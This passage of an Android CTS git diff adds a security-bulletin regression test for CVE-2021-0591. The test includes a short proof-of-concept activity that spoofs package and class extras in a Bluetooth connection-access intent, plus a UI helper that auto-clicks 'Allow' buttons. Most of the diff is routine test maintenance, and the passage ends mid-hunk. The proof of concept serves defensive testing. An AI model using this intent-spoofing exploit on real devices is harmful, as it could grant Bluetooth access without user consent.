+import java.util.List;
+import org.junit.Before;
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.hamcrest.CoreMatchers.notNullValue;
+import static org.junit.Assert.assertThat;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    private static final String BASIC_SAMPLE_PACKAGE =
+        "android.security.cts.CVE_2021_0591";
+    private static final int LAUNCH_TIMEOUT_MS = 20000;
+    private UiDevice mDevice;
+
+    @Before
+    public void startMainActivityFromHomeScreen() {
+        mDevice = UiDevice.getInstance(getInstrumentation());
+        try {
+            mDevice.wakeUp();
+            mDevice.pressMenu();
+            mDevice.pressHome();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        Context context = getApplicationContext();
+        assertThat(context, notNullValue());
+        PackageManager packageManager = context.getPackageManager();
+        assertThat(packageManager, notNullValue());
+        final Intent intent = packageManager.getLaunchIntentForPackage(BASIC_SAMPLE_PACKAGE);
+        assertThat(intent, notNullValue());
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        context.startActivity(intent);
+        mDevice.wait(Until.hasObject(By.pkg(BASIC_SAMPLE_PACKAGE).depth(0)), LAUNCH_TIMEOUT_MS);
+    }
+
+    @After
+    public void lastOperation() {
+        SystemClock.sleep(20000);
+    }
+
+    @Test
+    public void testClick() {
+        List<UiObject2> objects;
+        BySelector selector = By.clickable(true);
+        String button;
+        objects = mDevice.findObjects(selector);
+        for (UiObject2 o : objects) {
+            button = o.getText();
+            if (button == null) {
+                continue;
+            }
+            if (button.matches("ALLOW|YES|Allow|Yes")) {
+                o.click();
+                return;
+            }
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/PocActivity.java
new file mode 100644
index 0000000..e1a12f9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/PocActivity.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0591;
+
+import android.app.Activity;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.content.Intent;
+import android.os.Bundle;
+
+import static org.junit.Assert.assertNotNull;
+
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+        Intent i = new Intent("android.bluetooth.device.action.CONNECTION_ACCESS_REQUEST");
+        i.setClassName("com.android.settings",
+                "com.android.settings.bluetooth.BluetoothPermissionActivity");
+        BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
+        assertNotNull(bluetoothAdapter);
+        i.putExtra(BluetoothDevice.EXTRA_DEVICE,
+                bluetoothAdapter.getRemoteDevice("00:11:22:33:AA:BB"));
+        i.putExtra("android.bluetooth.device.extra.PACKAGE_NAME", "com.android.systemui");
+        i.putExtra("android.bluetooth.device.extra.CLASS_NAME",
+                "com.android.systemui.screenshot.ScreenshotServiceErrorReceiver");
+        startActivity(i);
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java
index 0ccc450..e550db6 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java
@@ -52,7 +52,8 @@
         final int APP_OP_RECORD_AUDIO = 27;
         final int APP_OP_RECORD_AUDIO_HOTWORD = 102;
 
-        TRANSFORMED_FROM_OP.put(APP_OP_RECORD_AUDIO, APP_OP_RECORD_AUDIO_HOTWORD);
+        // Temporarily commented out until the Trusted Hotword requirement is enforced again.
+//        TRANSFORMED_FROM_OP.put(APP_OP_RECORD_AUDIO, APP_OP_RECORD_AUDIO_HOTWORD);
     }
 
     private IBuildInfo mCtsBuild;
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java
index 9188894..1d9cdc2 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java
@@ -19,7 +19,10 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import com.android.os.StatsLog;
+
 import com.android.os.AtomsProto.Atom;
+import com.android.os.StatsLog;
 import com.android.os.StatsLog.ConfigMetricsReport;
 import com.android.os.StatsLog.ConfigMetricsReportList;
 import com.android.os.StatsLog.EventMetricData;
@@ -28,12 +31,15 @@
 import com.android.os.StatsLog.StatsLogReport;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.util.Pair;
 
 import com.google.protobuf.InvalidProtocolBufferException;
 
 import java.util.ArrayList;
+import java.util.Collections;
 import java.util.Comparator;
 import java.util.List;
+import java.util.stream.Collectors;
 
 public final class ReportUtils {
     private static final String DUMP_REPORT_CMD = "cmd stats dump-report";
@@ -51,7 +57,7 @@
 
     /**
      * Extracts and sorts the EventMetricData from the given ConfigMetricsReportList (which must
-     * contain a single report).
+     * contain a single report) and sorts the atoms by timestamp within the report.
      */
     public static List<EventMetricData> getEventMetricDataList(ConfigMetricsReportList reportList)
             throws Exception {
@@ -60,7 +66,14 @@
 
         List<EventMetricData> data = new ArrayList<>();
         for (StatsLogReport metric : report.getMetricsList()) {
-            data.addAll(metric.getEventMetrics().getDataList());
+            for (EventMetricData metricData :
+                    metric.getEventMetrics().getDataList()) {
+                if (metricData.hasAtom()) {
+                    data.add(metricData);
+                } else {
+                    data.addAll(backfillAggregatedAtomsInEventMetric(metricData));
+                }
+            }
         }
         data.sort(Comparator.comparing(EventMetricData::getElapsedTimestampNanos));
 
@@ -71,6 +84,23 @@
         return data;
     }
 
+
+    private static List<EventMetricData> backfillAggregatedAtomsInEventMetric(
+            EventMetricData metricData) {
+        if (!metricData.hasAggregatedAtomInfo()) {
+            return Collections.emptyList();
+        }
+        List<EventMetricData> data = new ArrayList<>();
+        StatsLog.AggregatedAtomInfo atomInfo = metricData.getAggregatedAtomInfo();
+        for (long timestamp : atomInfo.getElapsedTimestampNanosList()) {
+            data.add(EventMetricData.newBuilder()
+                    .setAtom(atomInfo.getAtom())
+                    .setElapsedTimestampNanos(timestamp)
+                    .build());
+        }
+        return data;
+    }
+
     public static List<Atom> getGaugeMetricAtoms(ITestDevice device) throws Exception {
         return getGaugeMetricAtoms(device, /*checkTimestampTruncated=*/false);
     }
@@ -93,9 +123,13 @@
         for (GaugeMetricData d : report.getMetrics(0).getGaugeMetrics().getDataList()) {
             assertThat(d.getBucketInfoCount()).isEqualTo(1);
             GaugeBucketInfo bucketInfo = d.getBucketInfo(0);
-            atoms.addAll(bucketInfo.getAtomList());
+            if (bucketInfo.getAtomCount() != 0) {
+                atoms.addAll(bucketInfo.getAtomList());
+            } else {
+                backFillGaugeBucketAtoms(bucketInfo.getAggregatedAtomInfoList());
+            }
             if (checkTimestampTruncated) {
-                for (long timestampNs: bucketInfo.getElapsedTimestampNanosList()) {
+                for (long timestampNs : bucketInfo.getElapsedTimestampNanosList()) {
                     assertTimestampIsTruncated(timestampNs);
                 }
             }
@@ -108,6 +142,18 @@
         return atoms;
     }
 
+    private static List<Atom> backFillGaugeBucketAtoms(
+            List<StatsLog.AggregatedAtomInfo> atomInfoList) {
+        List<Pair<Atom, Long>> atomTimestamp = new ArrayList<>();
+        for (StatsLog.AggregatedAtomInfo atomInfo : atomInfoList) {
+            for (long timestampNs : atomInfo.getElapsedTimestampNanosList()) {
+                atomTimestamp.add(Pair.create(atomInfo.getAtom(), timestampNs));
+            }
+        }
+        atomTimestamp.sort(Comparator.comparing(o -> o.second));
+        return atomTimestamp.stream().map(p -> p.first).collect(Collectors.toList());
+    }
+
     /**
      * Delete all pre-existing reports corresponding to the CTS config.
      */
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
index 67478a7..c363d84 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
@@ -220,7 +220,8 @@
                 atomTag,  /*uidInAttributionChain=*/false);
 
         DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
-                "StatsdCtsForegroundActivity", "action", "action.native_crash");
+                "StatsdCtsForegroundActivity", "action", "action.native_crash",
+                /* waitTimeMs= */ 5000L);
 
         // Sorted list of events in order in which they occurred.
         List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
diff --git a/hostsidetests/theme/assets/31/450dpi.zip b/hostsidetests/theme/assets/31/450dpi.zip
new file mode 100644
index 0000000..5ce9a1e
--- /dev/null
+++ b/hostsidetests/theme/assets/31/450dpi.zip
Binary files differ
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
index 1ca6107..8875edc 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
@@ -86,7 +86,7 @@
     private static final long EXPOSURE_TIME_BOUNDARY_60HZ_NS = 8333333L; // 8.3ms, Approximation.
     private static final long EXPOSURE_TIME_ERROR_MARGIN_NS = 100000L; // 100us, Approximation.
     private static final float EXPOSURE_TIME_ERROR_MARGIN_RATE = 0.03f; // 3%, Approximation.
-    private static final float SENSITIVITY_ERROR_MARGIN_RATE = 0.03f; // 3%, Approximation.
+    private static final float SENSITIVITY_ERROR_MARGIN_RATE = 0.06f; // 6%, Approximation.
     private static final int DEFAULT_NUM_EXPOSURE_TIME_STEPS = 3;
     private static final int DEFAULT_NUM_SENSITIVITY_STEPS = 8;
     private static final int DEFAULT_SENSITIVITY_STEP_SIZE = 100;
diff --git a/tests/framework/base/windowmanager/app/AndroidManifest.xml b/tests/framework/base/windowmanager/app/AndroidManifest.xml
index 72a5aac..1d3a0c0 100755
--- a/tests/framework/base/windowmanager/app/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app/AndroidManifest.xml
@@ -601,15 +601,19 @@
         <activity android:name=".HideOverlayWindowsActivity" android:exported="true"/>
         <activity android:name=".BackgroundImageActivity"
              android:theme="@style/BackgroundImage"
+             android:colorMode="wideColorGamut"
              android:exported="true"/>
         <activity android:name=".BlurActivity"
              android:exported="true"
+             android:colorMode="wideColorGamut"
              android:theme="@style/TranslucentDialog"/>
         <activity android:name=".BlurAttributesActivity"
              android:exported="true"
+             android:colorMode="wideColorGamut"
              android:theme="@style/BlurryDialog"/>
         <activity android:name=".BadBlurActivity"
              android:exported="true"
+             android:colorMode="wideColorGamut"
              android:theme="@style/BadBlurryDialog"/>
 
         <!-- Splash Screen Test Activities -->
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
index 1c87147..22d449c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
@@ -837,10 +837,12 @@
                 mWmState.getResumedActivitiesCountInPackage(
                         SDK_27_LAUNCHING_ACTIVITY.getPackageName()));
 
+        // Start SeparateProcessActivity in the same task as LaunchingActivity by setting
+        // allowMultipleInstances to false, and the TestActivity should be resumed.
         getLaunchActivityBuilder().setUseInstrumentation()
                 .setTargetActivity(SDK_27_SEPARATE_PROCESS_ACTIVITY).setNewTask(true)
                 .setDisplayId(DEFAULT_DISPLAY).setWindowingMode(WINDOWING_MODE_FULLSCREEN)
-                .execute();
+                .allowMultipleInstances(false).execute();
         waitAndAssertTopResumedActivity(SDK_27_SEPARATE_PROCESS_ACTIVITY, DEFAULT_DISPLAY,
                 "Activity launched on default display must be resumed and focused");
         assertTrue("Activity that was on secondary display must be resumed",
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
index bd70052..50e9fb5 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
@@ -173,8 +173,6 @@
         Rect topInsetsBounds = new Rect(insets.left, 0, appBounds.right - insets.right, insets.top);
         Rect bottomInsetsBounds = new Rect(insets.left, appBounds.bottom - insets.bottom,
                 appBounds.right - insets.right, appBounds.bottom);
-        assertFalse("Top insets bounds rect is empty", topInsetsBounds.isEmpty());
-        assertFalse("Bottom insets bounds rect is empty", bottomInsetsBounds.isEmpty());
 
         if (appBounds.isEmpty()) {
             fail("Couldn't find splash screen bounds. Impossible to assert the colors");
diff --git a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
index dcaee4f..1be37c3 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
@@ -18,6 +18,7 @@
 
 import static android.Manifest.permission.WRITE_SECURE_SETTINGS;
 import static android.content.pm.PackageManager.FEATURE_AUTOMOTIVE;
+import static android.content.pm.PackageManager.FEATURE_TELEVISION;
 import static android.location.LocationManager.EXTRA_PROVIDER_ENABLED;
 import static android.location.LocationManager.EXTRA_PROVIDER_NAME;
 import static android.location.LocationManager.FUSED_PROVIDER;
@@ -264,8 +265,6 @@
 
     @Test
     public void testGetCurrentLocation_Timeout() throws Exception {
-        Location loc = createLocation(TEST_PROVIDER, mRandom);
-
         try (GetCurrentLocationCapture capture = new GetCurrentLocationCapture()) {
             mManager.getCurrentLocation(
                     TEST_PROVIDER,
@@ -665,8 +664,9 @@
 
     @Test
     public void testRequestLocationUpdates_BatterySaver_GpsDisabledScreenOff() throws Exception {
-        // battery saver is unsupported on auto
+        // battery saver is unsupported on auto and tv
         assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_AUTOMOTIVE));
+        assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_TELEVISION));
 
         PowerManager powerManager = Objects.requireNonNull(
                 mContext.getSystemService(PowerManager.class));
@@ -725,8 +725,9 @@
 
     @Test
     public void testRequestLocationUpdates_BatterySaver_AllDisabledScreenOff() throws Exception {
-        // battery saver is unsupported on auto
+        // battery saver is unsupported on auto and tv
         assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_AUTOMOTIVE));
+        assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_TELEVISION));
 
         PowerManager powerManager = Objects.requireNonNull(
                 mContext.getSystemService(PowerManager.class));
@@ -766,8 +767,9 @@
 
     @Test
     public void testRequestLocationUpdates_BatterySaver_ThrottleScreenOff() throws Exception {
-        // battery saver is unsupported on auto
+        // battery saver is unsupported on auto and tv
         assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_AUTOMOTIVE));
+        assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_TELEVISION));
 
         PowerManager powerManager = Objects.requireNonNull(
                 mContext.getSystemService(PowerManager.class));
@@ -1007,7 +1009,7 @@
 
     @Test
     public void testRequestFlush_Gnss() throws Exception {
-        assumeTrue(mManager.getAllProviders().contains(GPS_PROVIDER));
+        assumeTrue(mManager.hasProvider(GPS_PROVIDER));
 
         try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
             mManager.requestLocationUpdates(GPS_PROVIDER, 0, 0,
diff --git a/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java b/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
index 4c0a31a..d9d1cb6 100644
--- a/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
+++ b/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
@@ -47,7 +47,7 @@
             ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
 
             parseApiResourcesAsStream(apiDocumentParser,
-                    Stream.concat(Arrays.stream(systemApiFiles), Arrays.stream(previousApiFiles))
+                    Stream.concat(Arrays.stream(expectedApiFiles), Arrays.stream(previousApiFiles))
                     .toArray(String[]::new))
                     .forEach(complianceChecker::checkSignatureCompliance);
 
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
index 9707dd8..0eeef1a 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
@@ -119,7 +119,7 @@
         mResultObserver.onTestComplete(); // Will throw is there are failures
     }
 
-    static String[] getCommaSeparatedList(Bundle instrumentationArgs, String key) {
+    static String[] getCommaSeparatedListOptional(Bundle instrumentationArgs, String key) {
         String argument = instrumentationArgs.getString(key);
         if (argument == null) {
             return new String[0];
@@ -127,6 +127,14 @@
         return argument.split(",");
     }
 
+    static String[] getCommaSeparatedListRequired(Bundle instrumentationArgs, String key) {
+        String argument = instrumentationArgs.getString(key);
+        if (argument == null) {
+            throw new IllegalStateException("Could not find required argument '" + key + "'");
+        }
+        return argument.split(",");
+    }
+
     private Stream<VirtualPath> readResource(String resourceName) {
         try {
             ResourcePath resourcePath =
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
index 43cca41..6928e38 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
@@ -28,7 +28,6 @@
 import java.io.BufferedReader;
 import java.io.IOException;
 import java.io.InputStreamReader;
-import java.text.ParseException;
 import java.util.HashSet;
 import java.util.Set;
 import java.util.function.Predicate;
@@ -45,8 +44,8 @@
 
     @Override
     protected void initializeFromArgs(Bundle instrumentationArgs) {
-        hiddenapiFiles = getCommaSeparatedList(instrumentationArgs, "hiddenapi-files");
-        hiddenapiTestFlags = getCommaSeparatedList(instrumentationArgs, "hiddenapi-test-flags");
+        hiddenapiFiles = getCommaSeparatedListRequired(instrumentationArgs, "hiddenapi-files");
+        hiddenapiTestFlags = getCommaSeparatedListRequired(instrumentationArgs, "hiddenapi-test-flags");
         hiddenapiFilterFile = instrumentationArgs.getString("hiddenapi-filter-file");
         hiddenapiFilterSet = new HashSet<>();
     }
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
index 2ef70ca..316a603 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
@@ -36,17 +36,23 @@
 
     private static final String TAG = SignatureTest.class.getSimpleName();
 
-    protected String[] systemApiFiles;
+    protected String[] expectedApiFiles;
     protected String[] previousApiFiles;
     protected String[] baseApiFiles;
     private String[] unexpectedApiFiles;
 
     @Override
     protected void initializeFromArgs(Bundle instrumentationArgs) {
-        systemApiFiles = getCommaSeparatedList(instrumentationArgs, "system-api-files");
-        baseApiFiles = getCommaSeparatedList(instrumentationArgs, "base-api-files");
-        unexpectedApiFiles = getCommaSeparatedList(instrumentationArgs, "unexpected-api-files");
-        previousApiFiles = getCommaSeparatedList(instrumentationArgs, "previous-api-files");
+        expectedApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "expected-api-files");
+        baseApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "base-api-files");
+        unexpectedApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "unexpected-api-files");
+        previousApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "previous-api-files");
+
+        if (expectedApiFiles.length + unexpectedApiFiles.length == 0) {
+            throw new IllegalStateException(
+                    "Expected at least one file to be specified in"
+                            + " 'expected-api-files' or 'unexpected-api-files'");
+        }
     }
 
     /**
@@ -73,7 +79,7 @@
             // Load classes from any API files that form the base which the expected APIs extend.
             loadBaseClasses(complianceChecker);
             // Load classes from system API files and check for signature compliance.
-            checkClassesSignatureCompliance(complianceChecker, systemApiFiles, unexpectedClasses,
+            checkClassesSignatureCompliance(complianceChecker, expectedApiFiles, unexpectedClasses,
                     false /* isPreviousApi */);
             // Load classes from previous API files and check for signature compliance.
             checkClassesSignatureCompliance(complianceChecker, previousApiFiles, unexpectedClasses,
diff --git a/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java b/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
index a3c46d5..62b1bbb 100644
--- a/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
+++ b/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
@@ -16,7 +16,6 @@
 
 package android.signature.cts.api;
 
-import android.os.Build;
 import android.os.Bundle;
 import android.signature.cts.AnnotationChecker;
 import android.signature.cts.ApiDocumentParser;
@@ -42,7 +41,7 @@
 
     @Override
     protected void initializeFromArgs(Bundle instrumentationArgs) throws Exception {
-        mExpectedApiFiles = getCommaSeparatedList(instrumentationArgs, "expected-api-files");
+        mExpectedApiFiles = getCommaSeparatedListRequired(instrumentationArgs, "expected-api-files");
         mAnnotationForExactMatch = instrumentationArgs.getString("annotation-for-exact-match");
     }
 
diff --git a/tests/signature/api-check/system-api/AndroidTest.xml b/tests/signature/api-check/system-api/AndroidTest.xml
index 1fcb724..7c5fb12 100644
--- a/tests/signature/api-check/system-api/AndroidTest.xml
+++ b/tests/signature/api-check/system-api/AndroidTest.xml
@@ -28,7 +28,7 @@
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.system.SignatureTest" />
         <option name="instrumentation-arg" key="base-api-files" value="current.api.gz" />
-        <option name="instrumentation-arg" key="system-api-files" value="system-current.api.gz,system-removed.api.gz" />
+        <option name="instrumentation-arg" key="expected-api-files" value="system-current.api.gz,system-removed.api.gz" />
         <option name="instrumentation-arg" key="previous-api-files" value = "system-all.api.zip" />
         <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-mock-current.api.gz,android-test-runner-current.api.gz" />
         <option name="runtime-hint" value="30s" />
diff --git a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
index bfb82c5..6869889 100644
--- a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
+++ b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
@@ -17,6 +17,7 @@
 package android.os.cts
 
 import android.companion.CompanionDeviceManager
+import android.content.pm.PackageManager
 import android.content.pm.PackageManager.FEATURE_AUTOMOTIVE
 import android.content.pm.PackageManager.FEATURE_COMPANION_DEVICE_SETUP
 import android.content.pm.PackageManager.PERMISSION_GRANTED
@@ -68,6 +69,8 @@
 const val DUMMY_MAC_ADDRESS = "00:00:00:00:00:10"
 const val MANAGE_COMPANION_DEVICES = "android.permission.MANAGE_COMPANION_DEVICES"
 const val SHELL_PACKAGE_NAME = "com.android.shell"
+const val TEST_APP_PACKAGE_NAME = "android.os.cts.companiontestapp"
+const val TEST_APP_APK_LOCATION = "/data/local/tmp/cts/os/CtsCompanionTestApp.apk"
 val InstrumentationTestCase.context get() = InstrumentationRegistry.getTargetContext()
 
 /**
@@ -79,6 +82,11 @@
     val cdm: CompanionDeviceManager by lazy {
         context.getSystemService(CompanionDeviceManager::class.java)
     }
+    val pm: PackageManager by lazy { context.packageManager }
+    private val hasFeatureCompanionDeviceSetup: Boolean by lazy {
+        pm.hasSystemFeature(FEATURE_COMPANION_DEVICE_SETUP)
+    }
+    private val isAuto: Boolean by lazy { pm.hasSystemFeature(FEATURE_AUTOMOTIVE) }
 
     private fun isShellAssociated(macAddress: String, packageName: String): Boolean {
         val userId = context.userId
@@ -102,19 +110,24 @@
 
     @Before
     fun assumeHasFeature() {
-        assumeTrue(context.packageManager.hasSystemFeature(FEATURE_COMPANION_DEVICE_SETUP))
+        assumeTrue(hasFeatureCompanionDeviceSetup)
         // TODO(b/191699828) test does not work in automotive due to accessibility issue
-        assumeFalse(context.packageManager.hasSystemFeature(FEATURE_AUTOMOTIVE))
+        assumeFalse(isAuto)
     }
 
     @After
     fun removeAllAssociations() {
-        val packageName = "android.os.cts.companiontestapp"
+        // If the devices does not have the feature or is an Auto, the test didn't run, and the
+        // clean up is not needed (will actually crash if the feature is missing).
+        // See assumeHasFeature @Before method.
+        if (!hasFeatureCompanionDeviceSetup || isAuto) return
+
         val userId = context.userId
-        val associations = getAssociatedDevices(packageName)
+        val associations = getAssociatedDevices(TEST_APP_PACKAGE_NAME)
 
         for (address in associations) {
-            runShellCommandOrThrow("cmd companiondevice disassociate $userId $packageName $address")
+            runShellCommandOrThrow(
+                    "cmd companiondevice disassociate $userId $TEST_APP_PACKAGE_NAME $address")
         }
     }
 
@@ -168,10 +181,8 @@
     @AppModeFull(reason = "Companion API for non-instant apps only")
     @Test
     fun testProfiles() {
-        val packageName = "android.os.cts.companiontestapp"
-        installApk(
-                "--user ${UserHandle.myUserId()} /data/local/tmp/cts/os/CtsCompanionTestApp.apk")
-        startApp(packageName)
+        installApk("--user ${UserHandle.myUserId()} $TEST_APP_APK_LOCATION")
+        startApp(TEST_APP_PACKAGE_NAME)
 
         waitFindNode(hasClassThat(`is`(equalTo(EditText::class.java.name))))
                 .performAction(ACTION_SET_TEXT,
@@ -191,24 +202,24 @@
         device!!.click()
 
         eventually {
-            assertThat(getAssociatedDevices(packageName), not(empty()))
+            assertThat(getAssociatedDevices(TEST_APP_PACKAGE_NAME), not(empty()))
         }
-        val deviceAddress = getAssociatedDevices(packageName).last()
+        val deviceAddress = getAssociatedDevices(TEST_APP_PACKAGE_NAME).last()
 
         runShellCommandOrThrow("cmd companiondevice simulate_connect $deviceAddress")
-        assertPermission(packageName, "android.permission.CALL_PHONE", PERMISSION_GRANTED)
+        assertPermission(
+                TEST_APP_PACKAGE_NAME, "android.permission.CALL_PHONE", PERMISSION_GRANTED)
 
         runShellCommandOrThrow("cmd companiondevice simulate_disconnect $deviceAddress")
-        assertPermission(packageName, "android.permission.CALL_PHONE", PERMISSION_GRANTED)
+        assertPermission(
+                TEST_APP_PACKAGE_NAME, "android.permission.CALL_PHONE", PERMISSION_GRANTED)
     }
 
     @AppModeFull(reason = "Companion API for non-instant apps only")
     @Test
     fun testRequestNotifications() {
-        val packageName = "android.os.cts.companiontestapp"
-        installApk(
-                "--user ${UserHandle.myUserId()} /data/local/tmp/cts/os/CtsCompanionTestApp.apk")
-        startApp(packageName)
+        installApk("--user ${UserHandle.myUserId()} $TEST_APP_APK_LOCATION")
+        startApp(TEST_APP_PACKAGE_NAME)
 
         waitFindNode(hasClassThat(`is`(equalTo(EditText::class.java.name))))
                 .performAction(ACTION_SET_TEXT,
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml b/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
index 8d57488..746f8b2 100644
--- a/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
+++ b/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
@@ -42,9 +42,8 @@
         <option name="test-file-name" value="CtsAdminPackageInstallerTestCases.apk" />
     </target_preparer>
 
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="dpm set-device-owner --user current 'android.packageinstaller.admin.cts/.BasicAdminReceiver'" />
-        <option name="teardown-command" value="dpm remove-active-admin --user current 'android.packageinstaller.admin.cts/.BasicAdminReceiver'"/>
+    <target_preparer class="com.android.tradefed.targetprep.DeviceOwnerTargetPreparer">
+        <option name="device-owner-component-name" value="android.packageinstaller.admin.cts/.BasicAdminReceiver" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/permission/src/android/permission/cts/NearbyDevicesPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NearbyDevicesPermissionTest.java
index 93920a5..8b8f24a 100644
--- a/tests/tests/permission/src/android/permission/cts/NearbyDevicesPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NearbyDevicesPermissionTest.java
@@ -51,6 +51,7 @@
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -210,24 +211,40 @@
     }
 
     /**
